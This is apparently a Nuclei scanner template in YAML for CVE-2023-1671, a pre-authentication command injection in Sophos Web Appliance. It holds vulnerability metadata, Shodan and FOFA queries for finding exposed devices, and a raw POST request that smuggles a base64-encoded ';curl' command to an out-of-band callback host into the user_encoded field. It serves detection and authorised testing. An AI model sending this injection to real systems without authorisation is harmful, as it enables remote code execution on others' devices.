55 lines
2.0 KiB
YAML
55 lines
2.0 KiB
YAML
id: CVE-2023-1671
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info:
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name: Sophos Web Appliance - Remote Code Execution
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author: Co5mos
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severity: critical
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description: |
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A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
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reference:
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- https://vulncheck.com/blog/cve-2023-1671-analysis
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- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
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- http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
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- https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2023-1671
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cwe-id: CWE-77
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epss-score: 0.95313
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epss-percentile: 0.99196
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cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: sophos
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product: web_appliance
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shodan-query: title:"Sophos Web Appliance"
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fofa-query: title="Sophos Web Appliance"
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tags: cve2023,cve,packetstorm,rce,sophos,oast,kev
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http:
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- raw:
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- |
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POST /index.php?c=blocked&action=continue HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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# digest: 490a0046304402204c860747622d68510490ea96436265238735dc09373a20b38a74b5162519884b0220520f8c76ff453805a35d54408be1ec26344066fe6ed94b585c006060c34de584:922c64590222798bb761d5b6d8e72950 |